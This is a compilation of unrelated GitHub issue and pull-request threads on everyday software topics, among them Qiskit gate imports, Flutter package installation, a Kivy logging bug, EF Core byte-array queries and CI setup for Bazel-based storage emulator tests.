The thing I'm still a bit concerned about is the namespace. I think qiskit.circuit.library.standard_gates is technically the most correct way of specifying it (and it is a good contrast to the other things in the library and the qiskit.circuit.library.generalized_gates).
But since the standard gates are used so much, I'm concerned about visibility/usability.
If we hack the init files so that one can do:
from qiskit.circuit import XGate... is that bad?

I think from qiskit.circuit import XGate is good, since the circuit can also be importet from there that makes sense.

I think we should put all of them in the same spot, either qiskit.circuit.library or qiskit.circuit. Probably library makes the most sense since currently most people don't work with the gate objects directly and this lets us have a single "standard" import alias like:
import qiskit.circuit.library as qclib

x = qclib.XGate()
qvol = qclib.QuantumVolume()

Then qiskit.circuit import isn't really needed unless you want to use Gate/Instruction  class directly, as QuantumCircuit, QuantumRegister etc are all exposed at top-level import qiskit

Yeah I agree I think let's import from qiskit.circuit.library for now. We can change to qiskit.circuit if it turns out to be a pain when we use it, but it's harder to revert things that are under qiskit.circuit.

Should the instructions (Barrier, Measure, Reset) also be importable from there? Or only from qiskit.circuit ?

@Cryoris For consistency, with instructions which subclass gate/instruction, I think yes.

@chriseclectic and @ewinston's are integrated, all standard gates and instructions are importable from qiskit.circuit.library;
from qiskit.circuit.library import XGate, Measure, Barrier, Reset

As before, this is possible
from qiskit.extensions import XGate

and this now throws a warning (qiskit.extensions does not bc we couldn't find a satisfiable solution there)
from qiskit.extensions.standard import XGate  # warning, deprecated

Yeah I know, for some reason GitHub fails to show moves + changes. We had the same issue for the consistent gate name PR.

Here's a diff of the directories qiskit.extensions.standard from the master branch to qiskit.circuit.library.standard_gates of this PR:
gate_diff.txt

i would remove the mcx gates to generalized gate not have them in standard gates -- its nice as they have more options.

🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉🎉


Installation Help

When I install fts using
 flutter pub global activate flutter_translation_sheet
I get a warning:
Warning: Executable "fts" runs "bin/main.dart", which was not found in flutter_translation_sheet.
If I subsequently run fts run to create the template, I get:
No active package flutter_translation_sheet.
What am I missing?

Sorry for the late reply, I'm currently away. Will check the issue later this week. Thanks for reporting it!

Ok, I checked. New computer, new installation, so I was able to try it fresh; and yes, had the same problem.
Seems like it's an issue with syslinks created by pub.
Try to use dart instead of flutter...
dart pub global activate flutter_translation_sheet
You might need to add the pub-cache PATH...
Warning: Pub installs executables into $HOME/.pub-cache/bin, which is not on your path.
You can fix that by adding this to your shell's config file (.bashrc, .bash_profile, etc.):

  export PATH="$PATH":"$HOME/.pub-cache/bin"

I'm using zsh, so in my case, I edit with VisualCode:
code  ~/.zshrc

Add the PATH... then run:
source ~/.zshrc

You might be able to install and run fts properly.
Check the installation with:
fts --version
(Forget about the update message you might get... ).
Good luck!


Warning "Invalid Bundle Structure" when submitting archive to iTC

I'm receiving a waning about files "PhotoMediaItem.o" and "VideoMediaItem.o" when uploading the ipa to iTunes Connect, using latest xcode (7.0).
The warning:

And right after the upload, apple sends me an e-mail saying:
Dear developer,

We have discovered one or more issues with your recent delivery for "MY APP". Your delivery was successful, but you may wish to correct the following issues in your next delivery:

Invalid Bundle Structure - The binary file 'Tesouro Direto.app/PhotoMediaItem.o' is not permitted. Your app can’t contain standalone executables or libraries, other than the CFBundleExecutable of supported bundles. Refer to the Bundle Programming Guide for information on the iOS app bundle structure.

Invalid Bundle Structure - The binary file 'Tesouro Direto.app/VideoMediaItem.o' is not permitted. Your app can’t contain standalone executables or libraries, other than the CFBundleExecutable of supported bundles. Refer to the Bundle Programming Guide for information on the iOS app bundle structure.

After you’ve corrected the issues, you can use Xcode or Application Loader to upload a new binary to iTunes Connect.

Regards,

The App Store team

What could it be ?
Will it prevent the app from being approved ?
Thx

Hey @brbgyn -- there are no classes in the library called "PhotoMediaItem" and "VideoMediaItem", so those object files wouldn't be generated.
Are those your own subclasses of JSQPhotoMediaItem and JSQVideoMediaItem?


Provide more flexible network binding options

Currently polaris only supports a --port option to change the numerical port to listen on.
It would be nice if the binding could be customized further:

Making it possible to bind to a specific IP address
Making it possible to bind to a Unix socket path, which is especially convenient (and more secure) when Polaris is being run behind a reverse proxy on the same machine

Good idea. Will definitely add the first one. Probably not the Unix socket paths as that doesn't seem supported by the underlying framework.

whats the status on this?
thanks

You can subscribe to this ticket to be notified of updates when there are any.


Change some invalid Cargo.toml category slugs

For some crates, we have the category slug "ast-implementations". this is currently being ignored since it is not in the list of category slugs in crates.io (see list):
warning: the following are not valid category slugs and were ignored: ast-implementations. Please see https://crates.io/category_slugs for the list of all category slugs.

Applies to:

partiql-ast-macros -- https://github.com/partiql/partiql-lang-rust/blob/fe2dbee030f3b7b8a023ef648a3b30f01c3264f8/partiql-ast/partiql-ast-macros/Cargo.toml#L10
partiql-ast -- https://github.com/partiql/partiql-lang-rust/blob/fe2dbee030f3b7b8a023ef648a3b30f01c3264f8/partiql-ast/Cargo.toml#L10

Fixed in #479


Sign windows executable

Fixes #12
Reqs:

MacOS: codesign an notarytool
Windows: signtool
Nix: nix-prefetch-url (required during the release step)

FYI, GoReleaser now supports MacOS signing and notarization (which would replace the shell scripts we currently use): https://goreleaser.com/customization/notarize/


315 implement admin panel

Codecov Report

Merging #317 (c6602bb) into master (6209f1f) will decrease coverage by 1.41%.
The diff coverage is 5.53%.

 Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


Consider a mechanism for reading current values from a graphic

Consider the following scenario:

The UI for controlling a given graphic is a webpage that can be open in more than one place at a time.
One user is actively editing properties of said graphic via this webpage.
Another operator is viewing the same webpage on another machine.
The two instances of the UI will be out-of-sync with regards to what the current values of the graphic's properties are.

To prevent this from occurring, there would need to be some mechanism for reading the current values of the graphic's properties. This would in effect create a two-way data binding between the UI and the graphic. Changes from the UI propagate down to the graphic, and changes in the graphic propagate back up to other instances of the UI. This is helpful even if there's only a single operator, because the operator won't lose any data if they refresh or accidentally close the UI.
Perhaps this could be implemented as a read function on the window/global scope:
let text0 = 'Foo'

function update(data) {
  text0 = data.text0
}

function read() {
  return {
    text0
  }
}

This would provide the desired functionality, but it would require polling, which isn't ideal. To make this automatic, there'd need to be an event fired on the window object:
let text0 = 'Foo'

function update(data) {
  text0 = data.text0

  // See https://developer.mozilla.org/en-US/docs/Web/Events/Creating_and_triggering_events#adding_custom_data_%E2%80%93_customevent
  const event = new CustomEvent('update', {
    detail: data
  })
  window.dispatchEvent(event)
}

function read() {
  return {
    text0
  }
}

This would be an optional feature that doesn't need to be supported for a graphic to function in the minimum viable use case. It may also make https://github.com/SuperFlyTV/GraphicsDataDefinition/issues/5 unnecessary.

Closing for now as out-of-scope. This will be up to individual implementations.


Website page speed measuring?

"Do you have performance budgets? How do you implement it? What guidelines do you follow to reduce the site's render time?"
Something along those lines, I've asked new teams that and on contract projects. Answers are surprisingly no :(

:+1: to this.
I was fortunate enough to hear Tim Kadlec speak on this topic. Some relevant notes here: https://gist.github.com/bmuenzenmeyer/e40f19855e9037e09d50#performance-budget
My favorite part is that the distinction between the differing types of budget metrics and how they align against user perception.
Hope this helps! Great idea Brad!

@brianmontanaweb yeah that's a great addition. I was thinking performance questions would be baked into the other sections, such as CSS (crit CSS) and tooling (performance budget stuff). But yeah I think it could be elevated as its own category.

@bradfrost Awesome, I'll do a pull request with some general questions I've asked teams about website performance with references, using the same writing style.
@bmuenzenmeyer Thanks, I'll watch that too :+1:


[BACKLOG-29422] Update and Validate In-Product Links in 8.3

@bmorrise

Build Skipped
:white_check_mark: There was nothing to build. The changes are probably excluded by the build rules. If this is an error, please contact your system administrator.


Decrease the leeway given to shake vs ninja

For #716

Thanks, a combination of two hacks combining and fighting. I think this ends up actually increasing the leeway :). I had the * 2 on the wrong side the first time 🤦♂

Oh yeah, haha, I hadn't noticed that.


content: create article about nuxt serverless

You could talk about: hooks like beforeSave used to hash password.


.with_field(value) syntax

Currently, we expose set_XYZ methods that return void, so if you want to populate a bitfield you have to have a mutable variable:
    let mut example = Example::new();
    example.set_a(true);
    example.set_b(0b0001_1111_1111_u16);
    example.set_c(42_u16);
    example.set_d(DeliveryMode::Startup);
    example.set_e(1);

What if there were a with_XYZ method which returned the bitfield object itself:
let example = Example::new()
    .with_a(true)
    .with_b(0b0001_1111_1111_u16)
    .with_c(42_u16)
    .with_d(DeliveryMode::Startup)
    .with_e(1);

?
I'm thinking a signature like:
fn set_a(self, value: bool) -> Self;

And, I guess, a with_a_checked which returns Result<Self>:
let example = Example::new()
    .with_a_checked(true)?
    .with_b_checked(...)?;

I think this would fit better in a closure-based modification API (similar to the API svd2rust provides):
my_register.modify(|value| { value.with_a(!value.a()) });

vs.
my_register.modify(|mut value| {
    value.set_a(!value.a());
    value
});

I can throw together a PR, but wanted to get thoughts first.

sounds like a decent addition to me!


Documentation: Fixes DeleteItemAsync sample

The id and partition key arguments are swapped in the code sample. It should be id, partitionkey, not vice versa.
Content: https://docs.microsoft.com/en-us/dotnet/api/microsoft.azure.cosmos.container.deleteitemasync
Pull Request Template
Description
Please include a summary of the change and which issue is fixed. Include samples if adding new API, and include relevant motivation and context. List any dependencies that are required for this change.
Type of change
Please delete options that are not relevant.

[] Bug fix (non-breaking change which fixes an issue)
[] New feature (non-breaking change which adds functionality)
[] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[] This change requires a documentation update

Closing issues
To automatically close an issue: closes #IssueNumber
Fixes Azure/azure-sdk-for-net#28906

@j82w Thanks for approving this. Please merge this PR once the tests are successfully completed.


Kivy logger doesn't correctly handle Logger.exception(e)

Python loggers support logging exceptions. In this case the traceback of the exception is printed in the logs.
This does not work with Kivy's Logger object.
    try:
       # ...
    except Exception as e:
        Logger.exception(e)

Results to:
 Traceback (most recent call last):
   File "webkivy/main.py", line 157, in <module>
     RemoteRunnerApp().run()
   File "webkivy/main.py", line 88, in run
     super(RemoteRunnerApp, self).run()
   File "/Applications/Kivy2.app/Contents/Resources/kivy/kivy/app.py", line 828, in run
     runTouchApp()
   File "/Applications/Kivy2.app/Contents/Resources/kivy/kivy/base.py", line 487, in runTouchApp
     EventLoop.window.mainloop()
   File "/Applications/Kivy2.app/Contents/Resources/kivy/kivy/core/window/window_sdl2.py", line 619, in mainloop
     self._mainloop()
   File "/Applications/Kivy2.app/Contents/Resources/kivy/kivy/core/window/window_sdl2.py", line 362, in _mainloop
     EventLoop.idle()
   File "/Applications/Kivy2.app/Contents/Resources/kivy/kivy/base.py", line 330, in idle
     self.dispatch_input()
   File "/Applications/Kivy2.app/Contents/Resources/kivy/kivy/base.py", line 315, in dispatch_input
     post_dispatch_input(*pop(0))
   File "/Applications/Kivy2.app/Contents/Resources/kivy/kivy/base.py", line 281, in post_dispatch_input
     wid.dispatch('on_touch_up', me)
   File "kivy/_event.pyx", line 718, in kivy._event.EventDispatcher.dispatch (kivy/_event.c:7699)
   File "/Applications/Kivy2.app/Contents/Resources/kivy/kivy/uix/behaviors/button.py", line 138, in on_touch_up
     self.dispatch('on_release')
   File "kivy/_event.pyx", line 714, in kivy._event.EventDispatcher.dispatch (kivy/_event.c:7654)
   File "kivy/_event.pyx", line 1224, in kivy._event.EventObservers.dispatch (kivy/_event.c:13497)
   File "kivy/_event.pyx", line 1108, in kivy._event.EventObservers._dispatch (kivy/_event.c:12329)
   File "/Applications/Kivy2.app/Contents/Resources/kivy/kivy/lang.py", line 1557, in custom_callback
     exec(__kvlang__.co_value, idmap)
   File "<string>", line 19, in <module>
   File "webkivy/main.py", line 121, in run_script
     Logger.exception(e)
   File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/logging/__init__.py", line 1198, in exception
     self.error(msg, *args, **kwargs)
   File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/logging/__init__.py", line 1191, in error
     self._log(ERROR, msg, args, **kwargs)
   File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/logging/__init__.py", line 1284, in _log
     self.handle(record)
   File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/logging/__init__.py", line 1294, in handle
     self.callHandlers(record)
   File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/logging/__init__.py", line 1334, in callHandlers
     hdlr.handle(record)
   File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/logging/__init__.py", line 757, in handle
     self.emit(record)
   File "/Applications/Kivy2.app/Contents/Resources/kivy/kivy/logger.py", line 218, in emit
     self._write_message(message)
   File "/Applications/Kivy2.app/Contents/Resources/kivy/kivy/logger.py", line 185, in _write_message
     FileHandler.fd.write(record.msg)
 TypeError: expected a character buffer object

The Logger.exception  only receive string, not the Except, although print(e) is string, but type(e) is Except. For example:
import codecs

fp = codecs.open('test.txt', 'w', 'utf-8')
fp.write('test text')

try:
    print(a)
except NameError as e:
    print(type(e))
    fp.write(e)

@matham: Thanks!
I just dug a little bit deeper what Python logging interface implies and there is a function called formatException: https://hg.python.org/cpython/file/tip/Lib/logging/init.py#l514
It is used when record.exc_info is checked https://hg.python.org/cpython/file/tip/Lib/logging/init.py#l555 - this is what the issue was originally about.

Yes, that's what I added to call format: https://github.com/kivy/kivy/commit/78a0c8680d71a476dc5c63d6bcc5c8530ae43344#diff-c4b929a31ef8afab2a4f426efae2660aR183.

@matham: Gotcha! Did not spot on the first time.

All the other stuff is about encodings which I copied from emit from the stream handler there in py2.


Translate SequenceEquals for byte arrays

A where clause using == on byte[] translates into the SQL to compare the underlying value data, despite the fact that the C# syntax for doing this requires SequenceEquals() or similar.
Specifically myTable.Where(r => r.ByteArray == byteArray) is the only way to produce the SQL, "WHERE ByteArray = @byteArray", which works as expected and ensures the data comparison is performed by SQL server, but fails to work using e.g. the InMemory EF provider, or if your data source is any in-memory data structure.
OTOH, myTable.Where(r => r.ByteArray.SequenceEquals(byteArray)) works with in-memory data stores, but doesn't translate into SQL, causing the entire table to be loaded into memory.
Given the behaviour of == for byte[] can't be changed at the .NET level, I would expect .SequenceEquals( ) to be translated to SQL = for byte arrays.
Further technical details
EF Core version: 2.0.1
Database Provider: Microsoft.EntityFrameworkCore.SqlServer
Operating system: Windows 10
IDE: Visual Studio 2017 15.4

@ajcvickers
re this

with in-memory data stores, but doesn't translate into SQL, causing the entire table to be loaded into memory.

Is there some way to be notified when, some usage of code in c#, translates to the entire table being loaded into memory?
Eg an event, or a config flag to log it as an error?

In case anyone else runs into this difference between in-memory and translated SQL, there is a possible workaround as listed here:
https://github.com/aspnet/EntityFrameworkCore/issues/5936#issuecomment-397987482
Which involves mapping the byte[] to a ulong instead which can be compared with == in both in-memory and SQL contexts.

In case anyone else runs into this difference between in-memory and translated SQL, there is a possible workaround as listed here:
https://github.com/aspnet/EntityFrameworkCore/issues/5936#issuecomment-397987482
Which involves mapping the byte[] to a ulong instead which can be compared with == in both in-memory and SQL contexts.

In case anyone else runs into this difference between in-memory and translated SQL, there is a possible workaround as listed here:
#5936 (comment)
Which involves mapping the byte[] to a ulong instead which can be compared with == in both in-memory and SQL contexts.

How can that possibly work for arrays longer than 8 bytes though? Mine are up to 512.

How can that possibly work for arrays longer than 8 bytes though? Mine are up to 512.

Good point. I found this issue with my rowversion fields from the DB, and doing comparisons. Just thought I'd make a note here in case anyone else has the same issue.

I have a solution, but it means my unit tests (which use an InMemory database) aren't using the same query as my production code.  But I guess that's what integration tests are for.

 Why is SequenceEqual not simply treated as straight up equals for sql generation?


Date picker error in RN 0.58.x

Hi @mmazzarolo am getting the error in the attachment after updating to RN 0.58.4. Please what could be the problem?

same here, it occurs when you tap confirm after selecting date (on iOS)

@marcinolek I encountered this issue on Android

Hey, could you please follow the issue template ?
When reporting a bug, please be sure to check if the issue still persists with react-native original date/time pickers:
Under the hood react-native-modal-datetime-picker uses react-native original DatePickerAndroid, TimePickerAndroid and DatePickerIOS.
Before reporting a bug, try swapping react-native-datetime-picker with react-native original date/time pickers to check if the problem persists.
When reporting a bug, please be sure to include the following:

[ ] The outcome of the react-native-modal-datetime-picker swap described above
[ ] A descriptive title
[ ] An isolated way to reproduce the behavior (example: GitHub repository with code isolated to the issue that anyone can clone to observe the problem)
[ ] What version of react-native-modal-datetime-picker you're using, and the platform(s) you're running it on (iOS, Android, device)
[ ] What packages or other dependencies you're using
[ ] The behavior you expect to see, and the actual behavior

When you open an issue for a feature request, please add as much detail as possible:

[ ] A descriptive title
[ ] A description of the problem you're trying to solve, including why you think this is a problem
[ ] An overview of the suggested solution
[ ] If the feature changes current behavior, reasons why your solution is better

Please note by far the quickest way to get a new feature is to file a Pull Request.

Alright @mmazzarolo this is noted

@mmazzarolo @nwaughachukwuma I found an issue in my code so the issue became invalid to me. I passed 'null' as date prop to the date picker at some point, which was incorrect. Apparently in previous version of RN it was allowed to pass null via bridge. One more thing, surprisingly it didn't crash (for me) in release builds, only when debugging.

@marcinolek thanks for reporting back :)


[adv-risk] minor concerns

slides-advriskmin-risk-minimizer.pdf slide 2: why inf and not min? if we have an argmin above, we could go for the min below?
slides-advriskmin-pseudo-residuals.pdf last slide: seems to be a bit abrupt: suddenly theta instead of f and R instead of L, without a thorough explanation. Perhaps extend this a bit?

"slides-advriskmin-risk-minimizer.pdf slide 2: why inf and not min? if we have an argmin above, we could go for the min below?"


file_list is slow on windows when you have several hundred files

I also had this prevent a successful upgrade on my machine because the SDK would not shutdown. This is because the file_list call is blocking on startup and when run, the SDK does not close.

See https://github.com/lbryio/lbry/issues/1975 for some timings I did a while ago. Had a user run it with 7K files and it took about 2 minutes.

file_list call is blocking on startup and when run, the SDK does not close.

this should not happen anymore since the recent shutdown fix

closed by #2384


TEST: Make our test data binary

Our test data (test/data.txt and test/data2.txt) are text files, but
declaring them binary means that there will be no line ending
transformation done on them.  This is necessary for testing on
non-Unix platforms, where certain tests could otherwise give results
that don't match expected results.
Fixes #13474

Result:
All tests successful.
Files=224, Tests=3430, 897 wallclock secs (11.38 usr +  0.98 sys = 12.36 CPU)
Result: PASS

Result:

Cool, thank you for testing

This pull request is ready to merge

Merged
c150a9485772bd4b1bdf144c9fa26043a8a24d65 TEST: Make our test data binary


auto v = view(const xarray&&, blabla) deduce constness

I am not sure if it's possible, but currently, taking the view of a const container and assigning it to auto results in a compiler error.
Maybe we can automatically propagate the constness of the expression argument in the view such that auto v = view(const xexpression..., blablab) works, and the compiler only freaks out if the user tries to assign a value etc.

I don't think this is possible.


Added ability to customize Identity Provider Name

Added ability to customize Identity Provider Name via cognito-identity-provider-name input which is required in case issuer claim is customized in GitHub Enterprise Cloud: https://docs.github.com/en/enterprise-cloud@latest/actions/security-for-github-actions/security-hardening-your-deployments/about-security-hardening-with-openid-connect#customizing-the-issuer-value-for-an-enterprise
~I have not tested this~, but I suspect it is the reason why after customizing the claim I'm getting:
An error occurred (NotAuthorizedException) when calling the GetId operation: Invalid login token. Issuer doesn't match providerName

Update:
I have tested these changes by using my forked version in my project and can confirm they work.

@djonser could please take a look at this?

@martinssipenko sorry for a very late reply to this. I have been on vacation where I forced myself to turn off all notifications. I will review this after work today.

Yes, according to GH docs the value would be:

To security harden their OIDC configuration, enterprise administrators can configure their enterprise to receive tokens from a unique URL at Ahttps://token.actions.githubusercontent.com/<enterpriseSlug>, replacing <enterpriseSlug> with the slug value of the enterprise.

An alternative approacch to one I proposed could be that action accepts this slug as an input. I guess it would be more user friendly, but would require more logic in the action code to concat the value if its not empty string. Wdyt? Or I can just add validation as per your request.

@djonser Added validation in 86b6cf1, please take a look at let me know if further change is necessary. I have tested my forked version in one of my projects and can confirm it works.

An alternative approacch to one I proposed could be that action accepts this slug as an input. I guess it would be more user friendly, but would require more logic in the action code to concat the value if its not empty string. Wdyt? Or I can just add validation as per your request.

Its better to have it explicit (as you did in your commit) so that it can work with a changed/added/migrated provider name in the future.

Thanks for the contribution @martinssipenko.
I will sort out moving the v1 tag for this commit a bit little later today (need to refresh my memory).

Great, I would greatly appriciate if this could be merged and released 🙏

You should be able to just create a new v1.0.2 relase from main branch and that should do the trick.


Show commands in Command Palette based on context (like when in KeyBindings)

When you define a keybinding in package.json, you are able to define when the keybinging works. So, for instance, if you define a keybinding like below, it will only work if you are the editor has focus, but not if the focus in TreeView or Find panels, for instance:
   "when": "editorTextFocus"

The same flexibility could be added when you create the command itself (contributes.commands), so it should not appear in the Command Palette, unless the when clause is satisfied.
This could make easier to define commands for the Workspace/Project  or Active Document.
Thanks in advance

I think we added this a while ago.


Migration guide for restrictToRoles functionality

Hi,
Thanks for your work. Don't know if the question has been answered or not, but is there any alternative way to use restrictToRoles functionality in another package?
Thanks

Yes, this is now possible with feathers-permissions.


Identify CCF not obviously in database

I’m not sure if its there or not - its a little different than others by design and i have to come up with a test for it.

Completed and tested Ccf-ASCTB integrity with IU team


Clicking off select tool clears image

Steps to reproduce:

Reload Bitmapper.
Draw something.
Select the selection tool.
Select the pencil tool.

The image is cleared to fully transparent. This only happens once (from opening the program).

Hannah, can you investigate this?
It appears to have been broken since the early 2014 revision of Bitmapper (not a recent regression).

It seems it's got something to do with one of the canvases not being resized correctly.
Steps to reproduce:

Reload Bitmapper.
Increase the canvas size.
Draw something top left ish to bottom right ish.
Select the selection tool.
Select the pencil tool.

Only the region of the drawing within the original canvas area will be deleted.


Fixed mobile keyboard not closing on search-input

Summary

Closes:
#3572
UXPLATFORM-6428
Deployment Link

https://terra-core-deployed-pr-#.herokuapp.com/
Testing

Additional Details

Thank you for contributing to Terra.
@cerner/terra

✅ Accessibility review completed.
To answer @supreethmr 's concern: while focus is given to the search button after an 'enter' or 'search' key press, focus/visual indicator is easily moved back to the search input field in the same way that it would if the user had advanced focus to the search button themselves.

Functionally Reviewed


docs: Install dependencies using npm ci when package-lock is present

Fixes # .
Changes proposed in this pull request:
With a package-lock.json present in the repo, npm ci will install with the dependencies contained within, while npm install will grab the latest versions of dependencies that may or may not match those from the lock file (generating a modified file as tracked by git, noticed this when building locally).
https://docs.npmjs.com/cli/v7/configuring-npm/package-lock-json
https://docs.npmjs.com/cli/v7/commands/npm-ci
The alternative approach can be to have the lock file in .gitignore, however that adds dependency versioning risk, or to use specific version of dependencies in the package.json.

@bonustrack is this something we want to include? I think npm install works for us for now at least for this repo

I'm not too familiar with ci, is this fixing an issue someone have currently?

@CjHare Does it solve any issue for you or this change is just an improvement suggestion?

@CjHare Thanks for the PR! but closing this for now as it is not required, please feel free to reopen this if it creating some issues without this :)


Lane sorting for scrum/kanban

I want to use it as Kanban-/Scrumboard but lanes are sorted alphabetically and not logically.
I haven't a good idea of how to implement this yet. Maybe a separate (plain or json) configuration file for meta informations for lanes. Docusaurus includes it into the "md" file as a header https://docusaurus.io/docs/create-doc

Never mind. This was caused by manually renaming the folders. After deleteing them and recreating them all worked as expected.


Explore Ops Typeclasses

:+1:

I gritted my teeth writing these instances... But it seems this is the least of all evils until we get a better type system.
Will port this to Swiftz soon.


Block-scoped declarations (let, const, function, class) not yet supported outside strict mode

I am using "mailgun-js": "0.8.0" and "node": "4.2.2". When I run my application i got this error
Block-scoped declarations (let, const, function, class) not yet supported outside strict mode.

I see the exact same issue now with node 4.4.1 and mailgun-js 0.8.1.

I tried this solution, now the issue fixed. and found this from Stack Overflow.
After countless hours of debugging and researching, I decided to install in a different machine to see if the problem was with my Node installation. It worked.
So for everyone who may come across this, know that the possibility to uninstall node and delete NPM will be there. This is what I did. I believe it is the safest way to solve the problem and all the rest of your applications installed in your machine will still work. I credit this answer for these steps, although I had other npm and node_modules in other locations. So do a quick search for these and unless they are part of an application, make sure they are deleted as well.
Uninstall from Programs & Features with the uninstaller.
Reboot (or you probably can get away with killing all node-related processes from Task Manager).
Look for these folders and remove them (and their contents) if any still exist. Depending on the version you installed, UAC settings, and CPU architecture, these may or may not exist:
C:\Program Files (x86)\Nodejs
C:\Program Files\Nodejs
C:\Users{User}\AppData\Roaming\npm (or %appdata%\npm)
C:\Users{User}\AppData\Roaming\npm-cache (or %appdata%\npm-cache)
C:\Users{User}.npmrc (and possibly check for that without the . prefix too)
Check your %PATH% environment variable to ensure no references to Nodejs or npm exist.
If it's still not uninstalled, type where node at the command prompt and you'll see where it resides -- delete that (and probably the parent directory) too.
Reboot, for good measure.


SPOI-5342 #resolve fixing ASM signature visitor to add upper bound to…

… Object for unbounded wild card entries

OK with the change.

Please squash

In case you don't know, there's an easy way to squash.
git rebase -i master

git push origin +SPOI-5342


Landing Page » Slider for Comic Strip position should not be remembered

Clicking on a hotspot in the landing page will open up a comic strip below. The slider can be used to see the whole image.
Closing a comic strip and opening another strip will show the slider at the same position as the previous strip.
A first comic strip is opened and the slider is set to the middle of the comic strip. The comic strip is then closed again by pressing the x.

Another comic strip is opened and its slider is at the same position as the previous strip, but should be at the beginning to read the comic in a chronological order.

The position should be resetted each time a comic strip is opened.

no longer relevant because of the new gui implementation


Switch from .npmignore to files option

Fixes https://github.com/tailwindcss/tailwindcss/issues/1867
See comparison between what files are published here: https://www.diffchecker.com/NhRXqAQj
I stripped out the most obvious files, but I'm unsure if all CSS/JS files that are published are needed.

This looks great, thanks @MartijnCuppens! I notice we lose the source maps for the CDN builds, I guess there's no real benefit to even generating those in the first place maybe?

The sourcemaps are indeed pretty useless since the only thing sourcesContent refer to is an @apply statement.
I've now removed the sourcemaps in a separate commit. New overview of which files are being published: https://www.diffchecker.com/sKSlBHOr

Thanks @MartijnCuppens!


⚠ Bofrost.be has degraded performance

In 625e98b, Bofrost.be (https://www.bofrost.be) experienced degraded performance:

HTTP code: 200
Response time: 1871 ms

Resolved: Bofrost.be performance has improved in c210721.


More generic solution (helper functions) for python side mapping of Browser catalog -> pages / contexts. Currently we use hard coded list comprehensions

Not a good user facing issue. - fix if time. Closing.


fix: add missing delete event

The del function in db.cairo should trigger a delete event.

Hi ! can I take this issues ?


test(storage): add emulator unit tests and cleanup

Since Bazel does not fully support pytest, I converted all those tests to unittest.
I have some questions

Should we convert all the code that are using testbench to emulator ?
When will we remove the testbench directory ?

Part of #4751
We finally reach a milestone in Complete GCS+gRPC plugin. From now, we could implementing GCS+gRPC without worrying about testing 🚀

This change is

The CI threw /usr/bin/env: 'python': No such file or directory. Do you have any idea why ? @coryan

Searching around I found this:
https://github.com/bazelbuild/bazel/issues/8665
We do not install a plain "python" program in the docker images for these builds:
./ci/kokoro/docker/build.sh asan bash
bash-5.0$ python
bash: python: command not found
bash-5.0$ python3 --version
Python 3.9.0

There is already an open bug for Bazel (https://github.com/bazelbuild/bazel/issues/8446), but I think we will need to workaround it by installing a plain python program.

FYI Ubuntu only ships /usr/bin/python3 but not /usr/bin/python. On Fedora however, /usr/bin/python is symlinked to /usr/bin/python3. Focal has this package, but I'm not sure how safe the symlink would be on Bionic. WDYT?

This was Fedora:33, and I am not seeing the /usr/bin/python link:
docker run --rm -it fedora:33 bash
# dnf makecache && dnf install python3
# ls -l /usr/bin/py*
lrwxrwxrwx 1 root root     8 Oct  6 14:19 /usr/bin/pydoc -> ./pydoc3
lrwxrwxrwx 1 root root     8 Oct  6 14:19 /usr/bin/pydoc3 -> pydoc3.9
-rwxr-xr-x 1 root root    78 Oct  6 14:19 /usr/bin/pydoc3.9
lrwxrwxrwx 1 root root     9 Oct  6 14:19 /usr/bin/python3 -> python3.9
-rwxr-xr-x 1 root root 15536 Oct  6 14:20 /usr/bin/python3.9

Seems like we need to install python (aka python-unversioned-command) for Fedora:33:
# dnf makecache && dnf install python
# ls -l /usr/bin/py*
lrwxrwxrwx 1 root root     8 Oct  6 14:19 /usr/bin/pydoc -> ./pydoc3
lrwxrwxrwx 1 root root     8 Oct  6 14:19 /usr/bin/pydoc3 -> pydoc3.9
-rwxr-xr-x 1 root root    78 Oct  6 14:19 /usr/bin/pydoc3.9
lrwxrwxrwx 1 root root     9 Oct  6 14:46 /usr/bin/python -> ./python3
lrwxrwxrwx 1 root root     9 Oct  6 14:19 /usr/bin/python3 -> python3.9
-rwxr-xr-x 1 root root 15536 Oct  6 14:20 /usr/bin/python3.9

Windows failed because of another reason: Those tests do not support to run on Windows. I have no idea why it happened

It doesn't look like the python dependencies are being installed for the Windows builds. I think the Windows build only ran the integration tests (and not the testbench/emulator tests) but since you run bazel test inside run_integration_tests_emulator_bazel.sh  they're getting picked up in the Windows build. Carlos can correct me on this.

Seems like we need to install python (aka python-unversioned-command) for Fedora:33:

Thanks. It should be installed by default, odd that the docker image omits it.

but since you run bazel test inside run_integration_tests_emulator_bazel.sh they're getting picked up in the Windows build.

Please disregard this. It made sense in my head when I typed it.

Windows failed because of another reason: Those tests do not support to run on Windows. I have no idea why it happened confused

We basically run bazel test ... on Windows (and Linux for that matter), so all the unit tests try to run.
Looks like we just need to install the pip dependencies and things would work, seems like an easy change in build.bat, but I really do not have the time to investigate all the details right now.

We basically run bazel test ... on Windows (and Linux for that matter), so all the unit tests try to run.

I added tags=["manual"] to the BUILD file so the tests won't be caught by ...

The CI threw /usr/bin/env: 'python': No such file or directory.

Use RUN ln -s $(which python3) /usr/bin/python seems to be the easiest way.
I also deleted some redundant (grpcio) or unused (pytest) dependencies of python in the last commit.

+kokoro:run

Can you open a bug to make these unit tests run on Windows? And add a TODO(#...) - $why here?

These tests could run perfectly on Windows. However, I feel it's noop if we run the tests without running the emulator. WDYT ?

Can you open a bug to make these unit tests run on Windows? And add a TODO(#...) - $why here?

These tests could run perfectly on Windows. However, I feel it's noop if we run the tests without running the emulator. WDYT ?

Yes. I was thinking we would eventually run the Windows CI build against the emulator too.

kokoro/macos/bazel failed due to the same reason as Windows. I would like to ask if we have to rebuild the Dockerfile.* each kokoro build or not ? If yes, I think we should move
RUN pip3 install git+git://github.com/googleapis/python-storage@8cf6c62a96ba3fff7e5028d931231e28e5029f1c
RUN pip3 install grpcio==1.32.0 flask==1.1.2 pytest==6.0.2 httpbin==0.7.0 \
     scalpl==0.4.0 crc32c==2.1 gevent==20.9.0 gunicorn==20.0.4

to storage/ci/run_integration_tests_emulator_[bazel/cmake].sh. It has some benefits:

